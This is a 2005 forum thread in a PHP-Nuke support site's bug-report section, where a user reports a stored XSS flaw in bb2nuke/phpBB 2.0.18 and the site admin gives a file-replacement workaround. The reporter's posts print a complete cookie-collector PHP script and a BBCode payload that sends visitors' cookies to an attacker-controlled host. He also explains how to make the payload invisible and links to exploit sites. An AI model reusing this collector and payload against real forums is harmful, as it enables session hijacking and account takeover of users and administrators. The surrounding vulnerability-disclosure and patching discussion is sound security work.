NukeXchange Network

          

NukeZone Hosting - Fast, Affordable and Dependable
Nuke Fixes · NukeForums · NukeZone Hosting · NukeUnited · Nuke Sites · Nuke Skins · NukeLance
Nuke Resources
 :: Home  :: Downloads  :: Your Account  :: Forums  :: Advertise :: 
Login or Register
Main Menu
General
 Main
 AvantGo
 Banner_Clients
 cfaq
 Donations
 Downloads
 Forums
 Members_List
 Private_Messages
 Search
 Stories_Archive
 Submit_News
 Surveys
 Topics
 Web_Links
 Your_Account

Your Account
 Login
 Register
 Lost Pass

Modules
Quick Links
· CMS Focus
· Domain Names
. Game Quest
· Learning Linux
. MateMaker
· NukeFixes
· NukeForums
· NukeLance
· Nuke Sites
· Nuke Skins
· NukeZone Hosting
. SearchDevil
Other Options

Download Resources
· Nuke Downloads
· Add a Link
· New Files
· Top Rated
· Most Popular

Web Site Resources
· Nuke Sites
· Add A Site
· New Sites
· Top Rated
· Most Popular

Support
· NukeZone Hosting
· NukeSkins.com
· NukeForums.com
· phpnuke.org
· NukeFixes.com
Information
NukeForums
·decompressing EN-Book-Nuke.tar.tar
·How to allow spaces/gaps/"-" in allowed usernames
·How to Setup PHPNUKE on win2k
·cannot save changes
·voting?
·Nuke forum picture problem
·How to change smtp port on wampserver and windows
·yet another 301 redirect problem
·Image display? - newbie
·php nuke help

read more...
Top10 Links
· 1: Nuke Forums
· 2: PHPNukeFiles
· 3: NukeSkins
· 4: Nuke Templates
· 5: EcomJunk
· 6: MDesign
· 7: Windows Installation: PHP
· 8: FLASH-FOR-NUKE
· 9: Dezina
· 10: Global Dream News Sharing Portal!
Site Visitors
User Login:

Nickname:
Password:
Security Code: Security Code
Type Security Code Here:

Members List Membership:
Latest: qwertz
Today: 0
Yesterday: 1
Overall: 15102

Visitation:
Guests: 488
Members: 0
Total: 488


You are Anonymous user. You can register for free by clicking here
Sponsor Links
php-Nuke Themes and Templates
php-Nuke Themes and Templates

NukeResources :: View topic - Remote XSS Cookie exploit in 2.0.18 [SERIOUS ISSUE!]
NukeResources Forum Index

NukeResources Forum Index -> Bug Reports -> Remote XSS Cookie exploit in 2.0.18 [SERIOUS ISSUE!]
Post new topic  Reply to topic    View previous topic :: View next topic 
Remote XSS Cookie exploit in 2.0.18 [SERIOUS ISSUE!]
PostPosted: Tue Nov 22, 2005 10:50 am Reply with quote
HackerX
Resource Seeker
Resource Seeker
 
Joined: Nov 22, 2005
Posts: 5




You can still get cookies from ANY USER (even Admin) with the current version of bb2nuke 2.0.18

By placing 2 files on a webserver, 1 called cookies.php and 1 called cookies.txt and chmodding them to 777 you can post a code IN ANY AREA of your forums to get a cookie of the user viewing that code. The color code in the exploit code can be set to be hidden on the forum by changing the color code to be the background color of the post background to make it invisible. You can add this code to a image, private message, your signature, ANYWHERE.... and it will send any users cookie to your webserver.

EXAMPLE BELOW:

This is my cookies.php on my ftp/webserver:
Code:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: /redirectpage.html");
?>


Now make a txt file, name it cookies.txt and place it beside your cookies.php on your ftp/webserver...

chmod this cookies.txt to 777

Now go to any PhpBB/BB2NUKE forum and paste this code in your post, forum signature, private message...ANYWHERE:
Code:

[color=#FFFFFF][url]www.ut[url=www.s=''style='font-size:0;color:#FFFFFF'style='top:expressionbad_tag(this.sss));'sss=`i=new/**/Image();i.src='http://www.YOUR WEBSERVER ADDRESS HERE.com/cookies.php?c='+bad_tag;this.sss=null`style='font-size:0;][/url][/url]'[/color]


ANYONE who visits this thread, with the url in the code updated (I have replaced the webserver/ftp address with YOUR WEBSERVER ADDRESS HERE.com so it doesnt work on this forum) WITH Internet Explorer, will send thier cookie to the web address in the code.

Now all you need to do, is, go to your ftp/webserver and open the cookies.txt and you have ALL the sessions/cookie of anyone who viewed the code.

PLEASE FIX THIS or tell me where to get the patch for this exploit for bb2nuke 2.0.18.

My Forums are upgraded to bb2nuke 2.0.18 and IT STILL WORKS!

I was hacked recently WITH THIS EXPLOIT.
you can adjust the color codes in the upper code, so it matches the forum background.
.
View user's profile Send private message
PostPosted: Tue Nov 22, 2005 1:05 pm Reply with quote
chatserv
Site Admin
Site Admin
 
Joined: Apr 21, 2002
Posts: 1732
Location: Puerto Rico




If i am to understand this one correctly the two cookie files must be on your server and not on the one you want to pull cookies from, correct? elese how would you get them into the other person's site?

_________________
NukeResources | ScriptHeaven
View user's profile Send private message Visit poster's website
PostPosted: Tue Nov 22, 2005 2:14 pm Reply with quote
HackerX
Resource Seeker
Resource Seeker
 
Joined: Nov 22, 2005
Posts: 5




Yes, 2 file MUST be on HACKERS webserver or ftp.

Example, lets say I am the hacker, who wants to steal all Nukeresources users and admins cookies...

My webserver is called (for example) www.IwantToStealYourCookies.com

then I would modify my malicious code to look like this:

Code:

[color=#FFFFFF][url]www.ut[url=www.s=''style='font-size:0;color:#FFFFFF'style='bad_tagbad_tag(this.sss));'sss=`i=new/**/Image();i.src='http://www.IwantToStealYourCookies.com/cookies.php?c='+bad_tag;this.sss=null`style='font-size:0;][/url][/url]'[/color]


Note the change to the address to point to The hackers webserver called www.IwantToStealYourCookies.com...

Now all I have to do is put that Malicious code ANYWHERE on ANY PHPBB forum (or BB2NUKE port) and when a user "views the page where that code is, It will steal thier cookie, and send it to cookies.php on the hackers webserver, then store the cookie in cookies.txt also on the hackers webserver....

BTW I can also make the code invisible by adjusting the color code in the malicious code to MATCH the nackground of the forum i am attacking so no one will see the actual code, but IE will see it and give me your cookie.

This exploit was found by hackers in PHPBB version 2.0.16, and it STILL works in PHPBB versions 2.0.16, 2.0.17 2.0.18 and allBB2Nuke ports of the same versions also.

CHATSEV, PLEASE help us disable against this terrible flaw! It is VERIFIED AND WORKING with bb2nuke 2.0.18 RIGHT NOW on my site.

Additional reading from the hackers USING this code right now:
http://www.waraxe.us/ftopic-890-days0-orderasc-0.html
and
http://www.milw0rm.com/id.php?id=1095 <-- this is a older .jpg cookie stealer that also works!
View user's profile Send private message
PostPosted: Tue Nov 22, 2005 2:39 pm Reply with quote
chatserv
Site Admin
Site Admin
 
Joined: Apr 21, 2002
Posts: 1732
Location: Puerto Rico




Check the code you posted closely, notice anything?

_________________
NukeResources | ScriptHeaven
View user's profile Send private message Visit poster's website
PostPosted: Tue Nov 22, 2005 3:32 pm Reply with quote
HackerX
Resource Seeker
Resource Seeker
 
Joined: Nov 22, 2005
Posts: 5




Code:
'bad_tagbad_tag
??


How and WHERE do I update my 2.0.18 files to make this code not work on our site? I would like to know what php files are modified to return the "Bad_tag" code?

This would help me out tremendously, as we have had several attacks in the last days with this exploit, and we are at BB2nuke ver 2.0.18...

Is there a additional patch to 2.0.18 I am unaware of?

Thank You Chatserv.[/quote]
View user's profile Send private message
PostPosted: Tue Nov 22, 2005 3:42 pm Reply with quote
chatserv
Site Admin
Site Admin
 
Joined: Apr 21, 2002
Posts: 1732
Location: Puerto Rico




Download 2.0.18 again and grab includes/functions_post.php
and modules/Private_Messages/index.php
It is not an actual fix but it's a workaround until proper filtering is added or the phpbb group release 2.0.19 which shouldn't be too far away seeing as 2.0.18 was a mess.

_________________
NukeResources | ScriptHeaven
View user's profile Send private message Visit poster's website
PostPosted: Tue Nov 22, 2005 7:25 pm Reply with quote
HackerX
Resource Seeker
Resource Seeker
 
Joined: Nov 22, 2005
Posts: 5




OK, Downloaded 2.0.18 again, and replaced those two files.

I have THOROUGHLY re-checked the forums, signatures, images and private messages and ALL were fixed with the bad_tag bieng replaced by bad_tag....

Great Job Chatserv in your work.

I hope all users can read this thread, and make the neccessarry changes to these two files for a temporary SECURITY work around.

I also hope all phpBB/BB2nuke 2.0.18 users read this thread and fix this in there forums a.s.a.p. if they havent done so already.
View user's profile Send private message
Remote XSS Cookie exploit in 2.0.18 [SERIOUS ISSUE!]
 NukeResources Forum Index -> Bug Reports
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT - 4 Hours  
Page 1 of 1  

  
  
 Post new topic  Reply to topic     



Powered by phpBB © 2001-2005 phpBB Group.     Theme created by Vjacheslav Trushkin.
There have been 138 unique hit(s) in the past 24 hours.
Forums ©
Game Quest Online - Games and more!


Best viewed with a Browser
All logos and trademarks in this site are property of their respective owner.
The comments are property of their posters, all the rest © 2001 - 2007 by NukeResources.com
You can syndicate our news using the file .backend.php or ultramode.txt
PHP-Nuke Copyright © 2004 by Francisco Burzi. This is free software, and you may redistribute it under the GPL. PHP-Nuke comes with absolutely no warranty, for details, see the license.
Page Generation: 0.37 Seconds

:: Eos phpbb2 style by Cyberalien :: PHP-Nuke theme by www.nukemods.com ::